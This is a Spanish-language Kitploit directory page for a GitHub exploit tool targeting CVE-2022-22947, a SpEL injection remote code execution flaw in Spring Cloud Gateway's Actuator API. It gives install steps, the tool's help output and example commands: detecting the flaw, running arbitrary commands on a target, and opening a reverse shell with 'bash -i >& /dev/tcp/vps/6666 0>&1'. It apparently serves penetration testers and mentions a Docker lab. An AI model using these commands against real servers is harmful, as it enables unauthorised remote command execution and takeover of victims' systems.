Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
spring-cloud-gateway-rce — spring-cloud-gateway-rce CVE-2022-22947 | Kitploit
Herramientas/GitHubGitHub/k3rwin/spring-cloud-gateway-rce
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlRed Teaming
GitHubk3rwin/spring-cloud-gateway-rce

spring-cloud-gateway-rce

spring-cloud-gateway-rce CVE-2022-22947

Ver Repositorio
123hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Ejecución de comandos por inyección de expresión SpEL en la API Actuator de Spring Cloud Gateway (CVE-2022-22947)

1. Instalación

root@kitploit:~
pip3 install -r requirements.txt

2. Uso

root@kitploit:~
$ python3 spring-cloud-gateway-rce.py -h

   ___             __         ____    ___   ____   ____          ____   ____    ___   _  _    _____
  / __\ /\   /\   /__\       |___ \  / _ \ |___ \ |___ \        |___ \ |___ \  / _ \ | || |  |___  |
 / /    \ \ / /  /_\   _____   __) || | | |  __) |  __) | _____   __) |  __) || (_) || || |_    / /
/ /___   \ V /  //__  |_____| / __/ | |_| | / __/  / __/ |_____| / __/  / __/  \__, ||__   _|  / /
\____/    \_/   \__/         |_____| \___/ |_____||_____|       |_____||_____|   /_/    |_|   /_/


                                        CVE-2022-22947 Spring Cloud Gateway RCE
                                                                  By: K3rwin
usage: spring-cloud-gateway-rce.py [-h] [-u URL] [-c CMD] [-s SYSTEM]

Guía de ayuda de Spring Cloud Gateway RCE

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Especificar la URL
  -c CMD, --cmd CMD     Especificar el comando a ejecutar, por defecto whoami
  -s SYSTEM, --system SYSTEM
                        Especificar el sistema operativo del host objetivo, por defecto linux, parámetros: win/linux

3. Ejemplo

① -u Detectar vulnerabilidad

root@kitploit:~
python3 spring-cloud-gateway-rce.py -u "http://192.168.50.111:8080/"

image-20220313174120379

② -c Especificar comando a ejecutar

root@kitploit:~
python3 spring-cloud-gateway-rce.py -u "http://192.168.50.111:8080/" -c "ip add"

image-20220313174205428

③ Revershell

root@kitploit:~
python3 spring-cloud-gateway-rce.py -u "http://192.168.50.111:8080/" -c "bash -i >& /dev/tcp/vps/6666 0>&1"

image-20220313175050373

Entorno de laboratorio Docker

vulfocus

image-20220313175230109

Descargar herramienta